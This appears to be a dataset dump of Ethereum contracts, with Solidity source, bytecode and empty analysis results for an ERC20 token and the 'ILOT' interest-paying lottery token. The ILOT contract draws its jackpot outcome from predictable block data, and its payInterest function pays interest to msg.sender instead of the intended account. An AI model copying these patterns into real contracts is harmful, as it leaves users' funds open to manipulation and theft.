00190509392505050565b601260ff16600a0a639502f9000281565b601281565b610a943382611280565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ba8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3c565b610bbb838261124b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f4e4d58000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610de657600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e3357600080fd5b610e84826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124b90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f17826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061105982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561125957fe5b818303905092915050565b6000818301905082811015151561127757fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156112cd57600080fd5b61131e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124b90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113758160015461124b90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820c065aac5b260b674189d89869289c6c56dbc936a6b6bc7df90208b1765e3d6d20029
|
{"success": true, "error": null, "results": {}}
| 4,001 |
0x87e3cf7891ad9385f65143ace11e3ffd55a31af9
|
pragma solidity ^0.4.24;
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
// File: contracts\ERC20\TokenMintERC20Token.sol
/**
* @title Standard ERC20 token with optional functions implemented
* @author TokenMint.io
*
* @dev Implementation of the basic standard token. For full specification see:
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract TokenMintERC20Token is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals, uint256 totalSupply, address feeReceiver, address tokenOwnerAccount) public payable {
name = _name;
symbol = _symbol;
decimals = _decimals;
// set sender as owner of all tokens
_mint(tokenOwnerAccount, totalSupply);
//_totalSupply = totalSupply;
// pay for service fee for contract deployment
feeReceiver.transfer(msg.value);
}
// optional functions from ERC20 stardard
/**
* @dev Name of the ERC20 token
*/
function name() public view returns (string) {
return name;
}
/**
* @dev Symbol of the ERC20 token
*/
function symbol() public view returns (string) {
return symbol;
}
/**
* @dev Number of decimals of the ERC20 token
*/
function decimals() public view returns (uint8) {
return decimals;
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b9565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106e6565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f0565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6108a2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b9565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af0565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b38565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e11565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e28565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077d57600080fd5b61080c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610897848484610ed0565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108f657600080fd5b61098582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd05780601f10610ba557610100808354040283529160200191610bd0565b820191906000526020600020905b815481529060010190602001808311610bb357829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1757600080fd5b610ca682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e1e338484610ed0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610ec157600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610f1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f5957600080fd5b610faa816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561110057600080fd5b80915050929150505600a165627a7a723058207f4540243f852448e73af419d30590b6234a69f28e67df28b05d57928a2402200029
|
{"success": true, "error": null, "results": {}}
| 4,002 |
0x31fe7e62254B239305CBbddA71822186a0b3B38c
|
pragma solidity ^0.4.19;
/******************************************************************************
ILOT - An Interest-paying ERC20 token and Ethereum lottery.
Visit us at https://ILOT.io/
ERC20 Compatible Token
Decimal places: 18
Symbol: ILOT
*******************************************************************************
Copyright (C) 2018 ILOT.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
-----
If you use this code on your own contracts, please credit the website https://ILOT.io/ - Thank you!
-----
////////////////
/B/S/B/J/M/A/F/
//////////////
////PEACE////
////////////
*/
interface tokenRecipient { function receiveApproval(address _from, uint _value, address _token, bytes _extraData) public; }
contract ILOTContract {
string public name = "ILOT Interest-Paying Lottery Token";
string public symbol = "ILOT";
/*
We've hardcoded our official website into the blockchain!
Please do not send ETH to scams/clones/copies.
The website indicated below is the only official ILOT website.
*/
string public site_url = "https://ILOT.io/";
bytes32 private current_jackpot_hash = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF";
uint8 public decimals = 18;
uint public totalSupply = 0; // No pre-minted amount.
uint public interestRate = 15; // 1.5% fixed monthly interest = 15 / 1000
uint tokensPerEthereum = 147000; // 147k tokens per ETH
uint public jackpotDifficulty = 6;
address public owner;
function ILOTContract() public {
owner = msg.sender;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
mapping (address => uint) public depositTotal; // total ETH deposited per address
mapping (address => uint) public lastBlockInterestPaid;
/*
Declare ILOT events.
*/
event Transfer(address indexed from, address indexed to, uint bhtc_value);
event Burn(address indexed from, uint bhtc_value);
event GameResult(address player, uint zeroes);
event BonusPaid(address to, uint bhtc_value);
event InterestPaid(address to, uint bhtc_value);
event Jackpot(address winner, uint eth_amount);
uint maintenanceDebt;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/*
Return an addresse's current unpaid interest amount in ILOT.
*/
function getInterest(address _to) public view returns (uint interest) {
if (lastBlockInterestPaid[_to] > 0) {
interest = ((block.number - lastBlockInterestPaid[_to]) * balanceOf[_to] * interestRate) / (86400000);
} else {
interest = 0;
}
return interest;
}
/*
Allows users to check their current deposit bonus amount.
Formula: 1% bonus over lifetime ETH deposit history
depositTotal is denominated in ETH
*/
function getBonus(address _to) public view returns (uint interest) {
return ((depositTotal[_to] * tokensPerEthereum) / 100);
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
/*
Owed interest is paid before transfers/withdrawals.
Users may be able to withdraw/transfer more than they publicly see.
Use getInterest(ETHEREUM_ADDRESS) to check how much interests
will be paid before transfers or future deposits.
*/
payInterest(_from);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint _value) public {
_transfer(msg.sender, _to, _value);
}
function setUrl(string u) public onlyOwner {
site_url = u;
}
function getUrl() public view returns (string) {
return site_url;
}
/*
Difficulty adjustment.
*/
function setDifficulty(uint z) public onlyOwner {
jackpotDifficulty = z;
}
/*
Get current difficulty.
Returns number of zeroes currently required.
*/
function getDifficulty() public view returns (uint) {
return jackpotDifficulty;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function chown(address to) public onlyOwner { owner = to; }
function burn(uint _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
/*
Pays interest on available funds.
*/
function payInterest(address _to) private {
uint interest = getInterest(_to);
if (interest > 0) {
require( (balanceOf[_to] + interest) > balanceOf[_to]);
// pay interest
balanceOf[msg.sender] += interest;
totalSupply += interest;
Transfer(this, msg.sender, interest);
InterestPaid(_to, interest);
}
lastBlockInterestPaid[_to] = block.number;
}
/*
Pays a 1% bonus over lifetime deposits made to this address.
Does not carry over if you change Ethereum addresses.
*/
function payBonus(address _to) private {
if (depositTotal[_to] > 0) {
uint bonus = getBonus(_to);
if (bonus > 0) {
require( (balanceOf[_to] + bonus) > balanceOf[_to]);
balanceOf[_to] += bonus;
totalSupply += bonus;
Transfer(this, _to, bonus);
BonusPaid(_to, bonus);
}
}
}
function hashDifficulty(bytes32 hash) public pure returns(uint) {
uint diff = 0;
for (uint i=0;i<32;i++) {
if (hash[i] == 0) {
diff++;
} else {
return diff;
}
}
return diff;
}
/*
Credit to user @eth from StackExchange at:
https://ethereum.stackexchange.com/questions/8346/convert-address-to-string
License for addressToString(): CC BY-SA 3.0
*/
function addressToString(address x) private pure returns (string) {
bytes memory b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
return string(b);
}
/*
Performs token exchange and runs the lottery routine.
*/
function () public payable {
/*
Owner cannot play lottery.
*/
if (msg.sender == owner) {
return;
}
if (msg.value > 0) {
/*
Maintenance fee 2%
*/
uint mfee = (2 * msg.value) / 100;
/*
If the contract does not have sufficient balance to pay mfee,
it will add mfee to maintenanceDebt and will not transfer it
at this time. During a later transaction, if the fee is enough,
the previous debt is transferred and zeroed out.
*/
if (address(this).balance >= mfee) {
if (address(this).balance >= (mfee + maintenanceDebt) ) {
// there's enough to cover previous debt
owner.transfer(mfee + maintenanceDebt);
maintenanceDebt = 0;
} else {
// enough to pay fee but not previous debts
owner.transfer(mfee);
}
} else {
maintenanceDebt += mfee;
}
/*
Convert ETH to ILOT at tokensPerEthereum rate.
*/
uint tokenAmount = tokensPerEthereum * msg.value;
if (tokenAmount > 0) {
require( (balanceOf[msg.sender] + tokenAmount) > balanceOf[msg.sender]);
/*
Pay fidelity bonus.
*/
payBonus(msg.sender);
/*
Pay interests on previous balance.
*/
payInterest(msg.sender);
/*
Update balance.
*/
balanceOf[msg.sender] += tokenAmount;
totalSupply += tokenAmount;
Transfer(this, msg.sender, tokenAmount);
/*
Add total after paying bonus.
This deposit will count towards the next deposit bonus.
*/
depositTotal[msg.sender] += msg.value;
string memory ats = addressToString(msg.sender);
/*
Perform lottery routine.
*/
current_jackpot_hash = keccak256(current_jackpot_hash, ats, block.coinbase, block.number, block.timestamp);
uint diffx = hashDifficulty(current_jackpot_hash);
if (diffx >= jackpotDifficulty) {
/*
********************
**** JACKPOT! ****
********************
Winner receives the entire contract balance.
Jackpot event makes the result public.
*/
Jackpot(msg.sender, address(this).balance);
msg.sender.transfer(address(this).balance);
}
/*
Make the game result public for transparency.
*/
GameResult(msg.sender, diffx);
}
}
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610709578063095ea7b31461079757806318160ddd146107f15780632326df931461081a57806323b872dd146108a8578063252498a214610921578063313ce5671461097e5780633a740a63146109ad57806342966c68146109fa5780635cc5c5cf14610a35578063602512e114610a5e5780636b0d3a1214610a8157806370a0823114610ace57806379cc679014610b1b5780637aaa347014610b755780637c3a00fd14610bc2578063886bb35914610beb5780638da5cb5b14610c2457806395d89b4114610c795780639b6d080514610d07578063a9059cbb14610d54578063b6baffe314610d96578063cae9ca5114610dbf578063cb2f7c4914610e5c578063d6bd872714610e97578063dd62ed3e14610f25575b60008061015f612501565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156101bc57610703565b6000341115610702576064346002028115156101d457fe5b049350833073ffffffffffffffffffffffffffffffffffffffff16311015156102f657600e5484013073ffffffffffffffffffffffffffffffffffffffff163110151561028e57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600e5486019081150290604051600060405180830381858888f19350505050151561028157600080fd5b6000600e819055506102f1565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f1935050505015156102f057600080fd5b5b610307565b83600e600082825401925050819055505b34600754029250600083111561070157600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054